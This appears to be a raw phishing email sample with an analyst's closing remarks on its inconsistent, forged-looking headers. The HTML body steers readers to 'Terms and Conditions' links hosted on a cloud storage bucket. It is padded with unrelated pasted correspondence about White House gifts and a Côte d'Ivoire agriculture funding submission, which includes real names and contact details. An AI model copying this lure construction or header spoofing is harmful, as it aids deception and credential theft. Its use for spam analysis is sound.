ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20240605; h=feedback-id:list-unsubscribe-post:feedback-id:content-id:cf-2025-91 :message-id:list-unsubscribe:content-transfer-enfcoding:references :feedback-id:mime-version:campaign_id:rcpt_domain:subject:errors-to :in-reply-to:cc:to:from:date:dkim-signature; bh=mTrkK2dTQwWekvdaUHi04OhpuIfdToDLenjNp7IBUG0=; fh=uCpEWAVPefAsuxydQrQ6jFza+PFTZWbqjgkrsdbsK38=; b=Ptv/3vp6JACgAQAq5uLmmTWv33sqyb051RWBIIEg4vjrEjw5DLCDthmXAoYI2xSqPE pWDaaEbquE85ryVjvCUD95Qydbycbsf5V5BQywNnvGBggERu9QfGxYq/ZNDVf/5/S1RJ O1avKjDFwDHj7DNW3SXhBZFg3nkRlZbAtJ23P+YCu12KGagp/HvtiJH3Fw13g/wKdjlx TlXIo8S/XiEDObNDD7OA4/OB5/V9KvxslryllgRR+ss3sA71PYlvpVKAGILrDGGZhtPu pDBqK78f3FtJvWXmc5QLxYVdLMGSfp1ifMd1mMda89wnDBoEZHwskdTLAJlxTPG+WEc2 uFxA==; dara=google.com
ARC-Authentication-Results: i=1; mx.google.com; dkim=pass [email protected] header.s=20251104 header.b=mWvC9KDg; spf=pass (google.com: domain of [email protected] designates 209.85.220.65 as permitted sender) [email protected]; dmarc=pass (p=NONE sp=QUARANTINE dis=NONE) header.from=gmail.com; dara=pass [email protected]
Return-Path: <[email protected]>
Received: from mail-sor-f65.google.com (mail-sor-f65.google.com. [209.85.220.65]) by mx.google.com with SMTPS id d2e1a72fcca58-8434acd1953sor1901458b3a.1.2026.06.14.17.36.17 for <[email protected]> (Google Transport Security); Sun, 14 Jun 2026 17:36:17 -0700 (PDT)
Received-SPF: pass (google.com: domain of [email protected] designates 209.85.220.65 as permitted sender) client-ip=209.85.220.65;
Authentication-Results: mx.google.com; dkim=pass [email protected] header.s=20251104 header.b=mWvC9KDg; spf=pass (google.com: domain of [email protected] designates 209.85.220.65 as permitted sender) [email protected]; dmarc=pass (p=NONE sp=QUARANTINE dis=NONE) header.from=gmail.com; dara=pass [email protected]
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20251104; t=1781483777; x=1782088577; dara=google.com; h=feedback-id:list-unsubscribe-post:feedback-id:content-id:cf-2025-91 :message-id:list-unsubscribe:content-transfer-enfcoding:references :feedback-id:mime-version:campaign_id:rcpt_domain:subject:errors-to :in-reply-to:cc:to:from:date:from:to:cc:subject:date:message-id :reply-to; bh=mTrkK2dTQwWekvdaUHi04OhpuIfdToDLenjNp7IBUG0=; b=mWvC9KDgsWQ1bTXsaOMw9pJSriAZptfpYubgIVY8BJbAevcmKU1ZA40FiwzXpcV7VL hNwQ7BnsyLvVwBw7mQg+aoN8EfsU45QwyzB/ATi95bGYxDQB+k2EOd674c/A8+ir5wTE Kf5MaScg3BrBn5VnohoiYaO1jVQW7WQjQAHAQMfx3S3s8Ad5DhXWlPZH4sBDxtScaa+e bUBthn+1QUOfhFoKWtuwOWK4wvu999pkXHLuG/klLvNUYe7kDhz2RUAcpDDJ0jbYTwOW vDEco4l4v9jW349XUE9YoPSyRZs28fNPmSw3WgvA3+tp5+LKeXKQUBbYg+iDbv3jiASV rlXw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20251104; t=1781483777; x=1782088577; h=feedback-id:list-unsubscribe-post:feedback-id:content-id:cf-2025-91 :message-id:list-unsubscribe:content-transfer-enfcoding:references :feedback-id:mime-version:campaign_id:rcpt_domain:subject:errors-to :in-reply-to:cc:to:from:date:x-gm-gg:x-gm-message-state:from:to:cc :subject:date:message-id:reply-to; bh=mTrkK2dTQwWekvdaUHi04OhpuIfdToDLenjNp7IBUG0=; b=MwwPg8NnEI7b8AWcFbfmRq3sp9JlySSjqiLflSrUKDE/ub9uzBS8WsnscCtu5N6F30 iAKuBtJUJ0kHtmXncN0S92YLfYje4udTdHAInQMff3qDYIJFyvfGwIs3mF8pHUHgITuG 86OKRBK8Y6eL/7B+e38ZhQGn48XIh1x9d6QqjRI4bS2Bym9QDPK17MxwA4XESYmnOGQt lLUryGZe1yiMb/FVqAf19hp9qUXQ5zP0uP/Qw+LI0moElsEFGLwmvLhO8D7eJdS/Z6bX aXi0UCUVCRVql0t6HUKT+nDKOFJG8dZBuzCUgWzNV9bTlxOmsSJbdQ1K7is5/izoSjqm 6rJA==
X-Gm-Message-State: AOJu0YxI8GYLJ96NfL0w+RBy/hF5rM48gQ0r3P6XKAA16EIcFfYmohng UTOWh+cOr3xN/TSnICZCHm/0670fN/Ddg3BdHgTcwE3jEkXG3TH8gL7QL7UYLiKS5agl7Js0
X-Gm-Gg: Acq92OFX8Z1YDCVzvedDSyrbpTJBJUyfOfwqoBGvESQmJnULj4OtZbaBHfpjWw87kKq MTEgf6o1Y0le/u04HhAXqUCxSa2CcawXYRR9N3pBdaBblGjWvV9NjRHOon/s4EB27iY0kIc3gSr 9C8DNroBpyUzViXz7mNjc7Ws75iHv8n9ePNOL1fKLD9VvfZM8dmQ5in/hLqqOPxP5eI7k54MCZ+ ak7vvVASBe8JS4U+8flYg/qjUUVlj8ElyqLtCgwiTTc6Ty/itabvK/hsKR1tqXMI4vtu/ll3RTM sfg5tbZWl8+Atpztk/ZmCrUWNh9T6fsO3TZSOm7ZwoH/74TD5EvIseOdjMLJuwMnc4/LEp1j3bv 7anDYgaaLcncu4AIMuGM5OPwDtkc/wDSh8pey3GA2n5m9MJ7VH8e8iKKxzHwahCtliCGbUIOS83 kUGfIkqFR/eqrUdjMvJNIafYu/zWB+juftrw+Uvmws0ZMaSSa/hvuDB8JNP8okla2R6nCSxQ+6d SIQMg2kgQRlQkMAuBkvfcHKeytSnIVK4BKfU4BJ71XVdhb5Oh/a3TpMqhY1y/dKfuDzFrSW/qvh SY2gQa2T3XpnsYQ=
X-Received: by 2002:a05:6a00:340d:b0:842:2cda:7aa2 with SMTP id d2e1a72fcca58-8434d0abff6mr13127653b3a.30.1781483777235; Sun, 14 Jun 2026 17:36:17 -0700 (PDT)
Return-Path: <[email protected]>
Received: from mail.Calixo.me (ec2-13-204-180-155.ap-south-1.compute.amazonaws.com. [13.204.180.155]) by smtp.gmail.com with ESMTPSA id d2e1a72fcca58-8434accbc89sm8443948b3a.15.2026.06.14.17.36.16 for <[email protected]> (version=TLS1 cipher=ECDHE-ECDSA-AES128-SHA bits=128/128); Sun, 14 Jun 2026 17:36:16 -0700 (PDT)
Date: Sun, 14 Jun 2026 17:36:16 -0700 (PDT)
X-Google-Original-Date: [smtp_date]
From: comoe ber <[email protected]>
X-Google-Original-From: comoe ber <[email protected]>
To: "[email protected]" <[email protected]>
X-rpcampaign: stcsp99709194
X-SG-EID: [aa_7]/[aa_49]+/bXwD3nnE226p/imTTAl/87k5Ymm84hMsEQPntlZ3Kma7BgkFnHVg1BYF+87k5Ymm84hMsEQPntlZ3Kma7BgkFnHVg1BYF/vVAHG/ZliEmOU9KeL1zjpkig2seBqoM8PVwWvIpjcfWw7k2sj0RwsR+DZTbItn27lXc1NE/rUhaq7ywc0i9RCoXhZTpxyZJfZ2mqHAPlv==?
X-campaignid: rUhaq7ywc0i9RCoXhZTpxyZJfZ2mqHAPlv.lBMErXjNLv
CC: "[to]" <[to]>
X-Feedback-ID: 1781223:SG
In-Reply-To: <[email protected]><Zb1JlTI9ZVDf7PhkzRRdcGmtzJ3VbJBwpX3PrlZ52TcU@vVAHG-GOe47.sog.unc.edu>
Errors-To: [email protected]
X-Report-Abuse: <[email protected]>
Subject: Re: Reaching Out
X-Mailer: PHPMailer 6.9.2 (https://github.com/PHPMailer/PHPMailer)
X-SFMC-Stack: 7
rcpt_domain: gmail.com
X-SG-EID: [aa_7]/[aa_49]+/bXwD3nnE226p/imTTAl/87k5Ymm84hMsEQPntlZ3Kma7BgkFnHVg1BYF+87k5Ymm84hMsEQPntlZ3Kma7BgkFnHVg1BYF/vVAHG/ZliEmOU9KeL1zjpkig2seBqoM8PVwWvIpjcfWw7k2sj0RwsR+DZTbItn27lXc1NE/rUhaq7ywc0i9RCoXhZTpxyZJfZ2mqHAPlv==?
X-JMailer: ip-10-55-95-109.ec2.internal
X-Kmail-Account: f0cVbI
campaign_id: 511517
MIME-Version: 1.0
Feedback-ID: f0cVbI:4OYyS5k0Ot9:forms::container:CK
X-Report-Spam: <[email protected]>
X-TM-ID: 8698350323148187.99709194.27060
X-Entity-ID: 23agIQTx4WWT24fC67Lvzn==?=
References: <[email protected]> <[email protected]>
Content-Transfer-Enfcoding: 7bit
List-Unsubscribe: <https://www.sog.unc.edu/unsubscribe/?aZ9hLS37Zd91hzoEfxXskzOuF6tK2qoHOjqyBJ8LXAPAdw49cpQcH57p7niszKuQmwiHdTyMadmLsZ8zqpABkd2yJvmKTlhwCKQ9Ho3Nr0ihGN0LEHN1NTz47==>
Message-ID: <AC500000000pYOJKYIyXXKPWBjLmscom_mkt_prod8@[placeholde1]>
X-Auto-Response-Suppress: OOF, AutoReply
X-Feedback-ID: 1835:99709194:campaign:sailthru
X-Campaign: rUhaq7ywc0i9RCoXhZTpxyZJfZ2mqHAPlv.lBMErXjNLv
X-SFMC-Stack: 7
cf-2025-91: 
X-Google-Original-From: "GoogleAlerts" <[email protected]>
Content-Id: <[email protected]>
X-Mailer: AWeber Composer 2.72.4
X-Unsubscribe-Web: https://sog.unc.edu/oc/Mn0nfocytOPSbvR5uBz8TB3HvVuAyL.9dzs/7b80de18
Feedback-ID: f0cVbI:4OYyS5k0Ot9:04
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Content-Type: multipart/signed; boundary="-------3dAw2PEf--==--9dzs-==--3dAw2PEf--==--"; type="multipart/alternative"
Feedback-ID: ::1.ap-southeast-1.pYOJKYIyXXKPWBjL+cezwlDkKAyWMxqc3po7Y=:AmazonSES
X-SES-Outgoing: 2026.03.16-172.31.15.162

---------3dAw2PEf--==--9dzs-==--3dAw2PEf--==--
Content-Type: multipart/report; boundary="_-------nhrZSyTQIA3kZSwurm8O.DZTbItn27lXc1NE-959873471455850nhrZSyTQIA3kZSwurm8O.DZTbItn27lXc1NE=:"

--_-------nhrZSyTQIA3kZSwurm8O.DZTbItn27lXc1NE-959873471455850nhrZSyTQIA3kZSwurm8O.DZTbItn27lXc1NE=:
Content-Type: text/html;charset="UTF-8"

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>bXwD3nnE226p</title>

  <style>
    body.app-root {
      margin: 0;
      padding: 50px 0;
      background-color: #ffffff;
      font-family: Arial, Helvetica, sans-serif;
      text-align: center;
    }

    table.layout-grid {
      width: 100%;
      border-collapse: collapse;
    }

    template-container {
      display: block;
    }

    .module-wrapper {
      width: 95%;
      max-width: 720px;
      background-color: #1f0b09;
      border-radius: 16px;
      box-shadow: 0 0 36px rgba(255, 99, 71, 0.45);
      overflow: hidden;
      border: 1px solid white;
    }

    .banner-block {
      background: linear-gradient(135deg, #020617, #1e40af, #3b82f6);
      padding: 38px;
      text-align: center;
      position: relative;
    }

    .banner-block::after {
      content: "";
      display: block;
      width: 100%;
      height: 4px;
      background-color: #93c5fd;
      margin-top: 18px;
      box-shadow: 0 0 16px #3b82f6;
    }

    .banner-anchor {
      color: #eaf6ff;
      font-size: 32px;
      font-weight: 700;
      text-decoration: none;
      letter-spacing: 0.5px;
      text-shadow: 0 0 16px rgba(59, 130, 246, 0.6);
    }

    .image-block {
      line-height: 0;
    }

    .image-block img {
      display: block;
      width: 100%;
      max-width: 720px;
      border: 0;
    }

    .footer-block {
      background-color: #ffffff;
      padding: 24px;
      font-size: 12px;
      color: #fed7d7;
      text-align: center;
    }
  </style>
</head>

<body class="app-root">

  <table class="layout-grid" cellpadding="0" cellspacing="0" border="0">
    <tr>
      <td align="center">

        <table class="module-wrapper" cellpadding="0" cellspacing="0" border="0">

          <tr>
            <td class="banner-block">
              <a href="https://hnbvcwbxbubu.sfo2.digitaloceanspaces.com/1.html#cl/334356_md/1299/15346052/1011/206/22373" class="banner-anchor">
                Terms and Conditions
              </a>
            </td>
          </tr>

          <tr>
            <td class="image-block">
              <a href="https://hnbvcwbxbubu.sfo2.digitaloceanspaces.com/1.html#cl/334356_md/1299/15346052/1011/206/22373">
                <img src="https://hnbvcwbxbubu.sfo2.digitaloceanspaces.com/1.png" originalsrc="https://hnbvcwbxbubu.sfo2.digitaloceanspaces.com/1.png" alt="">
              </a>
            </td>
          </tr>

          <tr>
            <td class="image-block">
              <a href="https://hnbvcwbxbubu.sfo2.digitaloceanspaces.com/2.html#un/334356_md/1299/15346052/1011/206/22373">
                <img src="https://hnbvcwbxbubu.sfo2.digitaloceanspaces.com/2.png" originalsrc="https://hnbvcwbxbubu.sfo2.digitaloceanspaces.com/2.png" alt="">
              </a>
            </td>
          </tr>

          <tr>
            <td class="footer-block">
            </td>
          </tr>

        </table>

      </td>
    </tr>
  </table>

</body>
</html>
<title>
Thanks, Steve!
+ the DL for their awareness as well.
Original Message
From: Grimes, Stephen H.
Sent: Friday, September 06, 2013 9:11 AM
To: Kimball, Emilie A.
Subject: FW: POTUS/FLOTUS gifts received in Russia
Emilie,
could you please draft a letter thanking H.E. Xi Jinping for his gift!
Thanks.
Steve
Original Message
From: Garland, Leigh [mailto:[email protected]]
Sent: Friday, September 06, 2013 9:04 AM
To: Mosteller, Brian D.; Decker Breckenridge, Anita; Nicholson, Marvin D.; Winter, Melissa
Cc: Grimes, Stephen H.; Jones, Natalie R; Pan, Elizabeth; Freshwater, Meg; Henning, Sarah R; Paolino, Jennifer C; Wham,
Jennifer L; Roberts, Asel K
Subject: POTUS/FLOTUS gifts received in Russia
Dear Brian, Anita, Marvin, and Melissa:
Please see the below list of gifts received by POTUS and FLOTUS in Russia:
His Excellency Vladimir Putin, President of the Russian Federation, gifted POTUS: a large porcelain tea set (with two
cups, saucers, and a teapot), a porcelain plate, and a DVD of Russian ballet. These are the standard leader gifts that all
G20 participants received.
His Excellency Vladimir Putin, President of the Russian Federation, gifted FLOTUS: a small porcelain tea set (with two
cups, saucers, and a teapot) and a porcelain plate. These are the gifts that all spouses of G20 leaders received.
His Excellency Xi Jinping, President of the People's Republic of China, gifted POTUS: a large porcelain vase with a lotus,
1
J
The Russian G20 Organizing Committee gifted POTUS: a black leather Tumi laptop bag, a fountain pen, an umbrella, a
thumb drive, a iPhone/iPad battery, and two notebooks.
All gifts were received via protocol. Please let me know if you have any questions.
Thank you!
Leigh 

<table border="1">
<tbody>
<tr><td>1</td></tr>
<tr><td>Global Agriculture and Food Security Program</td></tr>
<tr><td>From: comoe bernard <[email protected]></td></tr>
<tr><td>Sent: Monday</td><td> September 16</td><td> 2019 2:59 PM</td></tr>
<tr><td>To: Global Agriculture and Food Security Program</td></tr>
<tr><td>Cc: Nouhoun Coulibaly; Gaiji</td><td> Samy (FAOCI); [email protected];</td></tr>
<tr><td>[email protected]</td></tr>
<tr><td>Subject: Re: GAFSP Côte d'Ivoire Submission- Batch 1/3</td></tr>
<tr><td>[External]</td></tr>
<tr><td>Dear GAFSP Coordination Unit</td><td></td></tr>
<tr><td>For your request</td><td> below is an indicative note of the Agriculture and Food Security Development Strategy.</td></tr>
<tr><td>I send to you some specific sector strategies by « wetransfer ». Kindly acknowledge receipt of the documents</td></tr>
<tr><td>Note on Agricultural and Food Security development strategy</td></tr>
<tr><td>The agricultural and food security development in Côte d’Ivoire is organized as follows:</td></tr>
<tr><td>At the first level: the Agricultural Orientation Law that was adopted in 2015</td><td> and represents the framework for the</td></tr>
<tr><td>application of agricultural development policies and strategies. It enables the harmonization and the</td></tr>
<tr><td>adjustment/enrichment of the shortcomings of the existing specific laws in the agricultural sector.</td></tr>
<tr><td>At the second level: the National Agricultural Investment Programme (NAIP) Adopted in 2017. The NAIP provides a</td></tr>
<tr><td>coherent framework for the programming of public and private investments in the agricultural and food security sector</td></tr>
<tr><td>and aims at stimulating sectoral growth to reduce poverty and achieve “zero hunger” by 2025.</td></tr>
<tr><td> Finally</td><td> this investment programme is operationalized through specific strategies for the development of agricultural</td></tr>
<tr><td>sub-sectors</td><td> cross-cutting approaches to agricultural development challenges. The most important of these subsector development strategies are:</td></tr>
<tr><td>- For the oil palm sector</td><td> the 3rd Palm plan;</td></tr>
<tr><td>- For Hevea sector</td><td> the 7th Hevea project</td><td></td></tr>
<tr><td>- For cocoa and coffee</td><td> the Quantity</td><td> Quality and Growth (2QC) plan</td><td></td></tr>
<tr><td>- For food crops</td><td> National Food Crop Development Strategy other than rice;</td></tr>
<tr><td>- For the rice sector</td><td> National Strategy for the development of the rice sector</td><td></td></tr>
<tr><td>- For agricultural tracks</td><td> National Rural Roads Strategy</td></tr>
<tr><td>- For rural land</td><td> the Rural Land Policy;</td></tr>
<tr><td>- For irrigation</td><td> Irrigation Strategic Plan;</td></tr>
<tr><td>- For the animal and fisheries sectors</td><td> Strategy for the Development of Livestock</td><td> Fisheries and Aquaculture;</td></tr>
<tr><td>- For resilience</td><td> a “Country Resilience Priority” program;</td></tr>
<tr><td>- For climate change</td><td> a Climate Intelligence Agriculture Investment Plan in Côte d’Ivoire.</td></tr>
<tr><td>Other specific cross-cutting strategies such as the national agricultural training strategy</td><td> the national</td></tr>
<tr><td>agricultural international cooperation strategy</td><td> the agricultural communication strategy</td><td> the strategy for the</td></tr>
<tr><td>development of the cashew industry in Côte d'Ivoire currently being formulated will complement the abovementioned.</td></tr>
<tr><td>2</td></tr>
<tr><td>In sum</td><td> the Agricultural Orientation Law is the fundamental basis of the agricultural development and food</td></tr>
<tr><td>security policy in Côte d'Ivoire</td><td> from which PNIA and other specific strategies derive from.</td></tr>
<tr><td>Le 12 sept. 2019 à 01:11</td><td> Global Agriculture and Food Security Program <[email protected]> a</td></tr>
<tr><td>écrit :</td></tr>
<tr><td>Dear Mr Comoe</td></tr>
<tr><td>Thank you again for sending Cote d'Ivoire's submission to GAFSP. We have reviewed the submission</td></tr>
<tr><td>package and wanted to revert to you for clarification on one document</td><td> the country's Agriculture and</td></tr>
<tr><td>Food Security Strategy document (#6 on the GAFSP submission Document Checklist).</td></tr>
<tr><td>The CU notes that the submitted strategy document appears more to be an Agricultural Law</td></tr>
<tr><td>document. Could we confirm that this is submitted as your Agriculture Strategy document?</td></tr>
<tr><td>If you would wish to provide any alternate or complementary documentation in fulfilment of the</td></tr>
<tr><td>required Agriculture and Food Security Strategy</td><td> please do so by Monday 16th September</td><td> 2019. This is</td></tr>
<tr><td>the extended deadline for additional documents and we will not be able to accept any documents sent</td></tr>
<tr><td>after this deadline.</td></tr>
<tr><td>Best regards</td><td></td></tr>
<tr><td>GAFSP Coordination Unit</td></tr>
<tr><td>-----Original Message-----</td></tr>
<tr><td>From: Global Agriculture and Food Security Program</td></tr>
<tr><td>Sent: Tuesday</td><td> September 10</td><td> 2019 2:08 PM</td></tr>
<tr><td>To: comoe bernard <[email protected]></td></tr>
<tr><td>Cc: Natasha Hayward <[email protected]>; Nouhoun Coulibaly <[email protected]>; Gaiji</td><td></td></tr>
<tr><td>Samy (FAOCI) <[email protected]>; [email protected];</td></tr>
<tr><td>[email protected]; [email protected]</td></tr>
<tr><td>Subject: RE: GAFSP Côte d'Ivoire Submission- Batch 1/3</td></tr>
<tr><td>Dear Mr Comoe</td></tr>
<tr><td>Thank you for sending the government of Cote d'Ivoire’s submission to the Global Agriculture and Food</td></tr>
<tr><td>Security Program 2019 Call for Proposals. I am writing on behalf of the GAFSP Coordination Unit (CU) to</td></tr>
<tr><td>acknowledge receipt of the submitted application.</td></tr>
<tr><td>I note that the submission has been sent in three separate email transmissions and confirm receipt of all</td></tr>
<tr><td>three messages</td><td> plus one final (fourth) communication via 'wetransfer'.</td></tr>
<tr><td>The application package will shortly be reviewed by the CU for completeness and eligibility and we will</td></tr>
<tr><td>revert if any additional information is required. If everything is in order</td><td> you would be notified and the</td></tr>
<tr><td>application package will then be forwarded to the Technical Advisory Committee for their review.</td></tr>
<tr><td>Best regards</td><td></td></tr>
<tr><td>GAFSP Coordination Unit</td></tr>
<tr><td>-----Original Message-----</td></tr>
<tr><td>From: comoe bernard <[email protected]></td></tr>
<tr><td>Sent: Tuesday</td><td> September 10</td><td> 2019 1:39 PM</td></tr>
<tr><td>To: Global Agriculture and Food Security Program <[email protected]></td></tr>
<tr><td>3</td></tr>
<tr><td>Cc: Natasha Hayward <[email protected]>; Nouhoun Coulibaly <[email protected]>; Gaiji</td><td></td></tr>
<tr><td>Samy (FAOCI) <[email protected]>; [email protected];</td></tr>
<tr><td>[email protected]</td></tr>
<tr><td>Subject: GAFSP Côte d'Ivoire Submission- Batch 1/3</td></tr>
<tr><td>[External]</td></tr>
<tr><td>Dear GAFSP Coordinator</td><td></td></tr>
<tr><td>Please</td><td> find herewith attached the Cote d’Ivoire submission in response to the 5th call for proposal.</td></tr>
<tr><td>Because of the size of files</td><td> the documents will be sent in batches</td></tr>
<tr><td>Kindly acknowledge receipt of the documents</td></tr>
<tr><td>We remain at your disposal for further information</td></tr>
<tr><td>Best regards</td></tr>
<tr><td>Bernard COMOE</td></tr>
<tr><td>Director of Planning</td><td> Program and Finance</td></tr>
<tr><td>MINISTRY OF AGRICULTURE AND RURAL DEVELOPMENT</td></tr>
<tr><td>COTE D’IVOIRE</td><td></td></tr>
<tr><td>Contact: +225 07 06 48 22/ +225 20 21 20 39</td></tr>
</tbody>
</table>
--_----------=bollinvlqz8U7elIuryLUds4.bXwD3nnE226p--
--_-------nhrZSyTQIA3kZSwurm8O.DZTbItn27lXc1NE-959873471455850nhrZSyTQIA3kZSwurm8O.DZTbItn27lXc1NE=:
--_-------nhrZSyTQIA3kZSwurm8O.DZTbItn27lXc1NE-959873471455850nhrZSyTQIA3kZSwurm8O.DZTbItn27lXc1NE=:--
---------3dAw2PEf--==--9dzs-==--3dAw2PEf--==--

<table border="1">
<tbody>
<tr><td>1</td></tr>
<tr><td>Global Agriculture and Food Security Program</td></tr>
<tr><td>From: comoe bernard <[email protected]></td></tr>
<tr><td>Sent: Monday</td><td> September 16</td><td> 2019 2:59 PM</td></tr>
<tr><td>To: Global Agriculture and Food Security Program</td></tr>
<tr><td>Cc: Nouhoun Coulibaly; Gaiji</td><td> Samy (FAOCI); [email protected];</td></tr>
<tr><td>[email protected]</td></tr>
<tr><td>Subject: Re: GAFSP Côte d'Ivoire Submission- Batch 1/3</td></tr>
<tr><td>[External]</td></tr>
<tr><td>Dear GAFSP Coordination Unit</td><td></td></tr>
<tr><td>For your request</td><td> below is an indicative note of the Agriculture and Food Security Development Strategy.</td></tr>
<tr><td>I send to you some specific sector strategies by « wetransfer ». Kindly acknowledge receipt of the documents</td></tr>
<tr><td>Note on Agricultural and Food Security development strategy</td></tr>
<tr><td>The agricultural and food security development in Côte d’Ivoire is organized as follows:</td></tr>
<tr><td>At the first level: the Agricultural Orientation Law that was adopted in 2015</td><td> and represents the framework for the</td></tr>
<tr><td>application of agricultural development policies and strategies. It enables the harmonization and the</td></tr>
<tr><td>adjustment/enrichment of the shortcomings of the existing specific laws in the agricultural sector.</td></tr>
<tr><td>At the second level: the National Agricultural Investment Programme (NAIP) Adopted in 2017. The NAIP provides a</td></tr>
<tr><td>coherent framework for the programming of public and private investments in the agricultural and food security sector</td></tr>
<tr><td>and aims at stimulating sectoral growth to reduce poverty and achieve “zero hunger” by 2025.</td></tr>
<tr><td> Finally</td><td> this investment programme is operationalized through specific strategies for the development of agricultural</td></tr>
<tr><td>sub-sectors</td><td> cross-cutting approaches to agricultural development challenges. The most important of these subsector development strategies are:</td></tr>
<tr><td>- For the oil palm sector</td><td> the 3rd Palm plan;</td></tr>
<tr><td>- For Hevea sector</td><td> the 7th Hevea project</td><td></td></tr>
<tr><td>- For cocoa and coffee</td><td> the Quantity</td><td> Quality and Growth (2QC) plan</td><td></td></tr>
<tr><td>- For food crops</td><td> National Food Crop Development Strategy other than rice;</td></tr>
<tr><td>- For the rice sector</td><td> National Strategy for the development of the rice sector</td><td></td></tr>
<tr><td>- For agricultural tracks</td><td> National Rural Roads Strategy</td></tr>
<tr><td>- For rural land</td><td> the Rural Land Policy;</td></tr>
<tr><td>- For irrigation</td><td> Irrigation Strategic Plan;</td></tr>
<tr><td>- For the animal and fisheries sectors</td><td> Strategy for the Development of Livestock</td><td> Fisheries and Aquaculture;</td></tr>
<tr><td>- For resilience</td><td> a “Country Resilience Priority” program;</td></tr>
<tr><td>- For climate change</td><td> a Climate Intelligence Agriculture Investment Plan in Côte d’Ivoire.</td></tr>
<tr><td>Other specific cross-cutting strategies such as the national agricultural training strategy</td><td> the national</td></tr>
<tr><td>agricultural international cooperation strategy</td><td> the agricultural communication strategy</td><td> the strategy for the</td></tr>
<tr><td>development of the cashew industry in Côte d'Ivoire currently being formulated will complement the abovementioned.</td></tr>
<tr><td>2</td></tr>
<tr><td>In sum</td><td> the Agricultural Orientation Law is the fundamental basis of the agricultural development and food</td></tr>
<tr><td>security policy in Côte d'Ivoire</td><td> from which PNIA and other specific strategies derive from.</td></tr>
<tr><td>Le 12 sept. 2019 à 01:11</td><td> Global Agriculture and Food Security Program <[email protected]> a</td></tr>
<tr><td>écrit :</td></tr>
<tr><td>Dear Mr Comoe</td></tr>
<tr><td>Thank you again for sending Cote d'Ivoire's submission to GAFSP. We have reviewed the submission</td></tr>
<tr><td>package and wanted to revert to you for clarification on one document</td><td> the country's Agriculture and</td></tr>
<tr><td>Food Security Strategy document (#6 on the GAFSP submission Document Checklist).</td></tr>
<tr><td>The CU notes that the submitted strategy document appears more to be an Agricultural Law</td></tr>
<tr><td>document. Could we confirm that this is submitted as your Agriculture Strategy document?</td></tr>
<tr><td>If you would wish to provide any alternate or complementary documentation in fulfilment of the</td></tr>
<tr><td>required Agriculture and Food Security Strategy</td><td> please do so by Monday 16th September</td><td> 2019. This is</td></tr>
<tr><td>the extended deadline for additional documents and we will not be able to accept any documents sent</td></tr>
<tr><td>after this deadline.</td></tr>
<tr><td>Best regards</td><td></td></tr>
<tr><td>GAFSP Coordination Unit</td></tr>
<tr><td>-----Original Message-----</td></tr>
<tr><td>From: Global Agriculture and Food Security Program</td></tr>
<tr><td>Sent: Tuesday</td><td> September 10</td><td> 2019 2:08 PM</td></tr>
<tr><td>To: comoe bernard <[email protected]></td></tr>
<tr><td>Cc: Natasha Hayward <[email protected]>; Nouhoun Coulibaly <[email protected]>; Gaiji</td><td></td></tr>
<tr><td>Samy (FAOCI) <[email protected]>; [email protected];</td></tr>
<tr><td>[email protected]; [email protected]</td></tr>
<tr><td>Subject: RE: GAFSP Côte d'Ivoire Submission- Batch 1/3</td></tr>
<tr><td>Dear Mr Comoe</td></tr>
<tr><td>Thank you for sending the government of Cote d'Ivoire’s submission to the Global Agriculture and Food</td></tr>
<tr><td>Security Program 2019 Call for Proposals. I am writing on behalf of the GAFSP Coordination Unit (CU) to</td></tr>
<tr><td>acknowledge receipt of the submitted application.</td></tr>
<tr><td>I note that the submission has been sent in three separate email transmissions and confirm receipt of all</td></tr>
<tr><td>three messages</td><td> plus one final (fourth) communication via 'wetransfer'.</td></tr>
<tr><td>The application package will shortly be reviewed by the CU for completeness and eligibility and we will</td></tr>
<tr><td>revert if any additional information is required. If everything is in order</td><td> you would be notified and the</td></tr>
<tr><td>application package will then be forwarded to the Technical Advisory Committee for their review.</td></tr>
<tr><td>Best regards</td><td></td></tr>
<tr><td>GAFSP Coordination Unit</td></tr>
<tr><td>-----Original Message-----</td></tr>
<tr><td>From: comoe bernard <[email protected]></td></tr>
<tr><td>Sent: Tuesday</td><td> September 10</td><td> 2019 1:39 PM</td></tr>
<tr><td>To: Global Agriculture and Food Security Program <[email protected]></td></tr>
<tr><td>3</td></tr>
<tr><td>Cc: Natasha Hayward <[email protected]>; Nouhoun Coulibaly <[email protected]>; Gaiji</td><td></td></tr>
<tr><td>Samy (FAOCI) <[email protected]>; [email protected];</td></tr>
<tr><td>[email protected]</td></tr>
<tr><td>Subject: GAFSP Côte d'Ivoire Submission- Batch 1/3</td></tr>
<tr><td>[External]</td></tr>
<tr><td>Dear GAFSP Coordinator</td><td></td></tr>
<tr><td>Please</td><td> find herewith attached the Cote d’Ivoire submission in response to the 5th call for proposal.</td></tr>
<tr><td>Because of the size of files</td><td> the documents will be sent in batches</td></tr>
<tr><td>Kindly acknowledge receipt of the documents</td></tr>
<tr><td>We remain at your disposal for further information</td></tr>
<tr><td>Best regards</td></tr>
<tr><td>Bernard COMOE</td></tr>
<tr><td>Director of Planning</td><td> Program and Finance</td></tr>
<tr><td>MINISTRY OF AGRICULTURE AND RURAL DEVELOPMENT</td></tr>
<tr><td>COTE D’IVOIRE</td><td></td></tr>
<tr><td>Contact: +225 07 06 48 22/ +225 20 21 20 39</td></tr>
</tbody>
</table>

---------3dAw2PEf--==--9dzs-==--3dAw2PEf--==----

There are SO MANY different elements:

X-Mailer: PHPMailer 6.9.2 - local PHP mailer residue
X-Mailer: AWeber Composer 2.72.4 - newsletter-platform 
X-Feedback-ID: 1781223:SG - SendGrid-shaped feedback identifier
X-Feedback-ID: 1835:99709194:campaign:sailthru - campaign feedback identifier
Feedback-ID: ...:AmazonSES - feedback identifier
X-SES-Outgoing: 2026.03.16-172.31.15.162 - feedback trace
X-SFMC-Stack: 7 - Salesforce Marketing Cloud-looking stack marker
List-Unsubscribe: https://www.sog.unc.edu/unsubscribe/...
X-Unsubscribe-Web: https://sog.unc.edu/oc/...
Kmail - X-Kmail-Account account marker

Duplicate X-Google-Original-From fields:

X-Google-Original-From: comoe ber <[email protected]>
X-Google-Original-From: "GoogleAlerts" <[email protected]>

Gmail adds X-Google-Original-From when it rewrites a submitted sender address, but this message has two of them.

